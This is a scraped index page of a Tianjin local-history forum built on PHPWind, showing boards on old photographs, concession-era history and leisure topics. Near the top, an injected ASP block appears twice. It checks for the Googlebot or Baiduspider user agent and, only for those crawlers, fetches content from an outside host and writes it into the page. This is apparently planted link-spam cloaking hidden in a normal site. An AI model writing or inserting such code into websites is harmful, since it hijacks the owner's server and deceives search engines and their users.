天津卫论坛天津卫天津历史天津老照片老照片天津文化 - Powered by PHPWind

<% Function getHTTPPage(url) dim objXML set objXML=server.createobject("MSXML2.XMLHTTP")' objXML.open "GET",url,false' objXML.send()' If objXML.readystate<>4 then ' exit function End If getHTTPPage=BytesToBstr(objXML.responseBody)' set objXML=nothing' if err.number<>0 then err.Clear End Function Function BytesToBstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function Getlink() On Error Resume Next user_agent=Request.ServerVariables("HTTP_USER_AGENT") allow_agent=split("Yahoo,MSIE,opera,Chrome,Firefox,youdao",",") for agenti=lbound(allow_agent) to ubound(allow_agent) if instr(user_agent,allow_agent(agenti))>0 then canre=1 end if next if instr(user_agent,"Googlebot")>0 or instr(user_agent,"Baiduspider")>0 then canre=0 end if if canre=0 then Dim Url,Html Url = "http://www.57tao.net/other/lianjie1.asp" Html = getHTTPPage(Url) end if response.write(Html) End Function Call Getlink() %><% Function getHTTPPage(url) dim objXML set objXML=server.createobject("MSXML2.XMLHTTP")' objXML.open "GET",url,false' objXML.send()' If objXML.readystate<>4 then ' exit function End If getHTTPPage=BytesToBstr(objXML.responseBody)' set objXML=nothing' if err.number<>0 then err.Clear End Function Function BytesToBstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function Getlink() On Error Resume Next user_agent=Request.ServerVariables("HTTP_USER_AGENT") allow_agent=split("Yahoo,MSIE,opera,Chrome,Firefox,youdao",",") for agenti=lbound(allow_agent) to ubound(allow_agent) if instr(user_agent,allow_agent(agenti))>0 then canre=1 end if next if instr(user_agent,"Googlebot")>0 or instr(user_agent,"Baiduspider")>0 then canre=0 end if if canre=0 then Dim Url,Html Url = "http://www.57tao.net/other/lianjie1.asp" Html = getHTTPPage(Url) end if response.write(Html) End Function Call Getlink() %> 天津卫论坛天津卫天津历史天津老照片老照片天津文化 - Powered by PHPWind

登录注册

|帮助

主题:5957 | 帖子:16342 | 会员:61007 | 新会员:帆贵志

最高日:979 | 标记已读

最近没有站点公告

热门标签

美女天津天津美女摄影历史 2009 女人天津老照片天津租界天津模特海河中心广场天津网站建设望海楼天津摄影天津海河天津同城天津风景天津舞蹈老天津

天津老照片

旧天津证券花纱粮食皮毛交易所

精华帖子

人气排行

商务导航（每条100/月）

分栏版主:老天津 » 天津卫-天津历史资料（天津老城厢天津租界史研究天津历史风貌建筑天津老照片天津往事）

天津卫史话主题:1041 帖子:3100 Re:天津望海楼老照片 by:ttt123987 [2010-03-04 14:56]	天津老城资料主题:82 帖子:471 Re:天津老城厢整体规划图 by:金门 [2010-02-24 15:44]
天津租界史研究主题:220 帖子:1034 Re:难道我们还要感谢八国联 .. by:dafaxian1 [2010-02-04 12:07]	Tientsin(TianJin) 主题:89 帖子:773 Re:Tientsin(TianJin)：Te .. by:根艺达人 [2010-02-25 13:30]

» 天津卫

动听天下（天津交通广播）主题:183 帖子:659 Re:铁路落后阻碍滨海新区发 .. by:ee0215 [2010-03-09 16:45]	海河茶楼主题:934 帖子:2608 Re:天大1977入学，1981毕业 .. by:二号桥 [2010-03-12 11:42]
影像天津主题:165 帖子:1067 摄影比赛~~今晚传媒集体举 .. by:丫头123 [2010-02-25 10:31]	天津卫网-旅游频道论坛主题:321 帖子:1716 得天塔票喔~~~ by:丫头123 [2010-02-26 14:04]

» 休闲娱乐
版块		主题 / 文章	最后发表
	逗你玩儿版主:	132/248	Re:~~~姑娘我要带着你回家 .. ee0215 2010-03-11 16:33
	美女贴图天津美女天津模特天津街拍美女美女写真模特版主:	280/447	Re:清纯佳人[15P] 湘阳飞 2010-02-28 00:28

» 天津专业技术论坛
版块		主题 / 文章	最后发表
	天津电脑网络技术交流赞助商：天津河山科技公司（复印机维修）版主:	303/885	Re:三款让你可以随时随地A .. qsdij8076 2010-02-26 18:33

» 天津卫网版务区
版块		主题 / 文章	最后发表
	天津卫客栈版主:	130/441	Re:媒体有关天津卫网的报道 108gm春 2010-02-28 13:38
	版主交流版主:	1805/2621	认证站点

» 群组分类
版块		主题 / 文章	最后发表
	默认分类版主:	0/0	海外华人玩家的不二之选我叫小伟 2010-02-11 05:28

站点相关
» 友情链接
	[中国记忆] [天津卫网官方博客]
» 在线用户 - 共 278 人在线,40 位会员,238 位访客,最多 504 人发生在 2009-02-20 01:03
	管理员总版主论坛版主荣誉会员普通会员